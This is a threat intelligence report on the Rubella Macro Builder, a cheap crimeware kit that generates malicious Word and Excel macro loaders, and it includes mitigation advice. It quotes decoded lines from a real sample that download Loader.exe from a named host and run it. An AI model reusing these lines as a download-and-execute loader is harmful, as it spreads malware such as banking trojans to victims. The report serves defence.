By Flashpoint Analysts Vitali Kremez, Paul Burbage, & Amina Bashir
A crimeware kit dubbed the Rubella Macro Builder has recently been gaining popularity among members of a top-tier Russian hacking forum. Despite being relatively new and unsophisticated, the kit has a clear appeal for cybercriminals: it’s cheap, fast, and can defeat basic static antivirus detection.
First offered for sale in late February for the relatively low price of $500 USD per month, the Rubella Macro Builder has since undergone various updates, additions, and pricing changes. While newer versions of the builder are significantly cheaper—as of April, a three-month license is $120 USD—they also come with enhanced features including various encryption algorithm choices ( XOR and Base64), download methods (PowerShell, Bitsadmin, Microsoft.XMLHTTP, MSXML2.XMLHTTP, custom PowerShell payload), payload execution methods (executable, JavaScript, Visual Basic Script), and the ability to easily deploy social engineering decoy themes with an Enable Content feature turned on to run the macro.
Once distributed to its intended victims via Microsoft Word or Excel email attachments, the Rubella-generated malware acts as a first-stage loader for other subsequent malware downloads and installations on targeted machines. It does not utilise any vulnerabilities, but instead relies on social engineering techniques to trick victims into enabling malicious macro execution to run it. The builder allows the generation of Microsoft Word (.doc) and Microsoft Excel (.xls) payloads. The latest observed version of this malware builder is 1.4.
Flashpoint’s analysis of a sample of the Rubella Macro Builder revealed that the Visual Basic code is split into the Modules and Forms folder objects as follows:
- Random Value [A-Za-z]{6}
- “UserForm1”
The macro junk and substitution method appears to be relatively primitive, relying on basic string substitutions. Additionally, its copy/paste implementation of the Base64 algorithm is displayed in Visual Basic Script (VBS) code implementation. The code is obfuscated through general Chr ASCII values.
The observed server call request is achieved via the IXMLHTTPRequest method in this specific variant. The macro code contains auto execution when the Word document is opened via an AutoOpen call. Additionally, the code has logic to delete the file if it exists via a Kill call.
Two important decoded functions responsible for malware download and execution are:
- CreateObject(“Wscript.shell”)Run, “C:\Users\Public\mputernoticeme.exe”, True)
- Open “GET http://www.senescence[.]info/download/Loader.exe, False)
One Rubella malware infection led to the execution of the Panda banking malware version 2.6.6. Derived from the notorious ZeuS banking malware, Panda features credential harvesting capabilities, browser infection through webinjects, and remote PC access via a hidden virtual network computing (VNC) module.
Flashpoint analysts determined that the criminal gang behind the Panda banking malware leveraged the Rubella first-stage loader as an initial attack vector in one of its most recent campaigns. The gang behind the distribution appears to have targeted customers through various social media platforms, as well as an Australian financial institution, through its webinject functionality.
Microsoft Office macro-based malware appears to still be threat actors’ preferred method for obtaining initial access to compromised machines. Such Microsoft Office-based loader malware works well as an initial decoy—disguising itself as a commonly exchanged Word or Excel documents and impersonating normal Microsoft Office or Excel attachments—generally spread via email attacks. While relatively unsophisticated, the Rubella Macro Builder represents a moderate threat to various networks given its ability to defeat basic static antivirus detection. While relatively new and unsophisticated, its comparatively low pricing model may also add to the crimeware’s appeal.
Mitigation Recommendations
- Exercise caution with email messages that contain suspicious Microsoft Word or Excel attachments, which are the primary method of distributing Rubella-generated first-stage loaders
- Examine and scrutinize any unknown Microsoft Word and Excel documents that ask to “Enable Content” to run macros. The Rubella malware relies on social engineering to persuade victims to run macro scripts by turning on the “Enable Content” security feature.
- Employ email and hunting detection mechanisms to identify Rubella malware.
- Review and monitor for indicators of compromise linked to this crimeware kit.
